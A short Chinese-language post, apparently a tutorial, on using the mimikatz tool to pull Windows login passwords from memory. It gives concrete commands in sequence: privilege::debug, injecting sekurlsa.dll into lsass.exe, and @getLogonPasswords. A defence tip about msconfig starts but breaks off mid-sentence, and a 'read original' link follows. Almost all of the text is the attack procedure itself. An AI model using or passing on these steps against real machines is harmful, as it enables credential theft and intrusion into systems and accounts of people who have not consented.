mimikatz獼猴桃工具使用

1.打開mimikatz工具，輸入privilege::debug利用權限版提權使自己有權限去訪問lsass進程 2.輸入inject::process lsass.exe sekurlsa.dll,在lsass.exe中注入dll 3.使用命令@getLogonPasswords,利用注入的dll,讀取內存中的賬號密碼 4.防禦方案: 可以在點擊開始——運行——輸入msconfig來查詢，若有兩

>>阅读原文<<